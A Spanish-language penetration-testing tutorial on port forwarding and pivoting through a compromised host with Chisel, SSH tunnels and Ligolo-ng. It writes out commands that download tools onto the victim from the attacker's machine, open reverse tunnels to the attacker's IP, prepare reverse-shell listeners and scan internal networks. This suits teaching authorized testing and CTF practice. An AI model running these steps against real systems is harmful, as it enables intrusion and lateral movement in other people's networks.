El Port Forwarding (o redirección de puertos) es una técnica de redes que permite enviar (redirigir) el tráfico de internet que llega a tu router hacia un dispositivo específico dentro de tu red local.
El Pivoting (o pivoteo) es una técnica avanzada de ciberseguridad y hacking ético (pentesting o Red Team) que consiste en usar una máquina ya comprometida como “puente” o “pivote” para acceder a otros sistemas o redes internas que no son accesibles directamente desde tu posición inicial (el atacante).
Imaginémonos que una vez ingresado al servidor tenemos servicios que están desplegadas de manera interna dentro del servidor, en otras palabras; no tenemos acceso a dichos servicios desde nuestra maquina atacante.
Con la siguiente técnica podemos realizar un redireccionamiento de puertos del servidor victima hasta nuestra maquina atacante e interactuar con dicho servicio en nuestra maquina atacante de la siguiente manera:
Chisel es un herramienta escrita en Go (golang) desarrollada por Jaime Pillora dev@jpillora.com que permite crear túneles TCP encapsulados en tráfico HTTP y protegidos por una capa SSH. Esta herramienta se compila en un solo ejecutable que puede funcionar como cliente o como servidor.
Lo primero que haremos es descargar la herramienta necesaria:
Script: <- Descargamos la herramienta.
wget https://github.com/jpillora/chisel/releases/download/v1.11.5/chisel_1.11.5_linux_amd64.gz
Es hora de descomprimir y transferir Chisel a la maquina victima.
Script: <- Descomprimimos la herramienta.
7z x <Archivo descargado>
Script: <- Le damos privilegios de ejecución.
chmod +x chisel
Ya lo tenemos todo listo, ahora, es importante que el servidor de la victima tenga también el chisel, para ello haremos una tranferencia rapida:
Script: <- Iniciamos un servidor.
python3 -m http.server <Puerto>
Script: <- Descargamos la herramienta desde el servidor creado desde nuestra maquina atacante.
wget http://<IP atacante>:<Puerto>/<Nombre del archivo>
Ahora simplemente tenemos que hacer los siguientes comandos tanto en la maquina atacante como en la maquina victima:
Script: <- Creamos el servidor mediante chisel.
./chisel server --reverse -p <Puerto que queramos>
Script: <- Traemos un puerto concreto de la maquina victima a nuestro maquina atacante.
./chisel client <IP atacante>:<Puerto que creamos en el chisel servidor> R:<Puerto Maquina atacante que ocupara para ese servicio>:127.0.0.1:<Puerto Maquina Victima>
Script: <- Traemos un puerto concreto de la maquina victima a nuestro maquina atacante.
./chisel client 20.20.20.2:9999 R:8080:127.0.0.1:80
Y listo, si por ejemplo el servidor de la victima tenia una pagina web adicional o una base de datos de manera interna ya la podemos reconocer en nuestro equipo, para ello, siempre hay que hacer reconocimiento para ver si todo ha salido correctamente.
Script: <- Hacemos un Escaneo con Nmap vía TCP con el Three Way HandShake.
nmap --stats-every=5s -p <Puerto extraido> --open --min-rate=5000 -T5 -A -sT -Pn -n -v localhost
Script: <- Hacemos un Escaneo con Nmap vía TCP sin el Three Way HandShake.
nmap --stats-every=5s -p <Puerto extraido> --open --min-rate=5000 -T5 -A -sS -Pn -n -v localhost
Si el puerto esta expuesto en nuestro propio localhost, significa que lo tenemos implementado en nuestro equipo exitosamente.
Para realizar la técnica de Port Forwarding mediante SSH es necesario tener las credenciales y además saber el puerto que vamos a extraer de la siguiente manera:
Script: <- Empleamos port forwarding desde SSH.
ssh -L <Puerto Maquina atacante que ocupara para ese servicio>:127.0.0.1:<Puerto Maquina Victima> <Usuario>@<IP victima>
Script: <- Empleamos port forwarding desde SSH.
ssh -L 8080:127.0.0.1:80 matt@20.20.20.2
Script: <- Hacemos un Escaneo con Nmap vía TCP con el Three Way HandShake.
nmap --stats-every=5s -p <Puerto extraido> --open --min-rate=5000 -T5 -A -sT -Pn -n -v localhost
Script: <- Hacemos un Escaneo con Nmap vía TCP sin el Three Way HandShake.
nmap --stats-every=5s -p <Puerto extraido> --open --min-rate=5000 -T5 -A -sS -Pn -n -v localhost
Si el puerto esta expuesto en nuestro propio localhost, significa que lo tenemos implementado en nuestro equipo exitosamente.
Ligolo-ng es una herramienta de pivoting alternativa a
chiselysocat, ligera y rápida que permite establecer túneles inversos seguros sin necesidad de utilizar SOCKS. A diferencia de otras herramientas, Ligolo-ng crea un túnel virtual al estilo de una VPN, lo que facilita el pivotaje y el uso de herramientas comonmaponetcatsin tener que pasar por un proxy SOCKS. Gracias a esta característica, Ligolo-ng ofrece conexiones más rápidas y estables, mejorando significativamente el rendimiento en comparación con el uso de SOCKS.
La Detección de una nueva Interfaz de Red es crucial dentro un servidor comprometido ya que si existe una segunda (o mas) interfaz de red podemos expandir nuestros hallazgos al siguiente nivel descubriendo nuevos dispositivos, para ello haremos los siguientes comandos para descubrir si existe una interfaz nueva de red:
Script: <- Vemos las interfaces de redes dentro del servidor victima.
ifconfig
Script: <- Vemos las interfaces de redes dentro del servidor victima.
ip a
Script: <- Vemos las interfaces de redes dentro del servidor victima.
hostname -I
Si hemos visto que el servidor de la maquina victima tienes una interfaz de red entonces ya podemos ir creando nosotros una nueva interfaz de red en nuestra maquina atacante donde se alojara los datos de la interfaz de red de la maquina victima:
Script: <- Configuramos una Interfaz de red tunelada.
sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up && sudo ip route add <IP Victima>/<Subnetting> dev ligolo
Script: <- Configuramos una Interfaz de red tunelada.
sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up && sudo ip route add 20.20.20.0/24 dev ligolo
Para descargar la herramienta tenemos que hacer los siguientes comandos:
Script: <- Descargamos el Ligolo Proxy.
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz
Script: <- Descomprimimos el Ligolo Proxy.
tar -xvf <Archivo comprimido>
Script: <- Descargamos el Ligolo Agent.
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_linux_amd64.tar.gz
Script: <- Descomprimimos el Ligolo Agent.
tar -xvf <Archivo comprimido>
Es importante que la maquina victima tenga el: “Ligolo Agent” ya que es completamente necesario para que la información viaje de manera tunelizada hasta nuestro equipo:
Script: <- Iniciamos un servidor.
python3 -m http.server <Puerto>
Script: <- Descargamos la herramienta desde el servidor creado desde nuestra maquina atacante.
wget http://<IP atacante>:<Puerto>/<Nombre del archivo>
Es momento de desplegar el Ligolo Proxy en nuestra maquina atacante y lo haremos gracias al siguiente comando:
Script: <- Creamos el Proxy para recibir la información.
./ligolo_proxy -selfcert
En el anterior punto desplegamos el Ligolo Proxy y ahora es turno de que la maquina victima se conecte a dicho proxy con el siguiente comando:
Script: <- Nos conectamos al proxy desplegado anteriormente para vincularlo a la maquina atacante.
./ligolo_agent -connect <IP atacante>:11601 -ignore-cert
Una vez que la maquina victima este vinculada a nosotros entonces es momento de automatizar la tunelización hacia nuestra interfaz de red tunelizada para ello tenemos que hacer los siguientes comandos:
Script: <- Vemos las sesiones activas y elegimos cual queremos usar.
session
Elegimos la sesión activa, se mueve con las flechitas del teclado y para aceptar pulsamos la tecla: “ENTER”
Una vez estemos dentro de la sesión tunelizamos la información de la siguiente manera.
Script: <- Aplicamos la tunelización.
start --tun ligolo
Este paso es el mas crucial y donde muchos entusiastas en ciberseguridad fallan ya que al no crear reglas no le estamos diciendo a donde apuntar para acontecer Reverse Shell, pasar archivos al servidor de la maquina victima o conectarnos a otras interfaces de redes mas adelante si fuera necesario, así que haremos los siguientes comandos:
Si queremos dejar preparado una regla donde permita conectar el Ligolo-NG Agente a nuestro Ligolo-NG Proxy nuevamente haremos el siguiente comando:
Script: <- Haremos este comando en TODAS las sesiones:
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601
Si queremos dejar preparado una regla donde permita un puerto para poder usarlo e intercambiar archivos haremos el siguiente comando:
Script: <- Haremos este comando en TODAS las sesiones:
listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:8080
Si queremos dejar preparado una regla donde permita el puerto seleccionado transmitar Reverse Shell el siguiente comando:
Script: <- Haremos este comando en TODAS las sesiones:
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:1234
Para ello haremos el siguiente comando:
Script: <- Comando ver todos los listener de nuestro Ligolo-NG Proxy:
listener_list
Una vez hayamos echo todo correctamente tendremos ya la Interfaz de Red Tunelizada con los equipos conectados de la Interfaz de Red victima y para ello haremos el siguiente comando:
Ahora tocaría enumerar las IP dentro de las interfaces que nos hayamos traído:
Script: <- Enumeramos las IP de la interfaz que nos hemos traído para posteriormente enumerarlos con herramientas como: “Nmap”
fping -asgq <IP Victima>/<Subnetting>
Si obtenemos una nueva IP diferente a de la maquina victima anterior, entonces, tenemos que seguir auditando desde cero nuevamente hasta comprometer el nuevo servidor.
Recordemos que nuestra IP privada ya no se volverá a usar mas ya que no tendremos acceso desde la segunda maquina hasta nuestra maquina Kali Linux, para ello usaremos siempre la IP de la maquina comprometida anterior (Maquina de Salto) con la IP de la segunda interfaz de que descubrimos.
Si queremos borrar todo lo que hemos puesto haremos lo siguiente:
Script: <- Borramos la interfaz de tunelado de Ligolo.
sudo ip link delete ligolo 2>/dev/null
Siempre valida legalmente tu autorización antes de realizar estas pruebas.
Usa diccionarios personalizados si sabes datos del entorno.
Nunca ejecutes exploits en producción sin un entorno controlado.
Documenta todo: IPs, usuarios válidos, resultados de escaneos.
Practica diariamente tus habilidades de Pentesting con maquinas CTF.
Utiliza los diferentes navegadores para investigar nuevos servicios.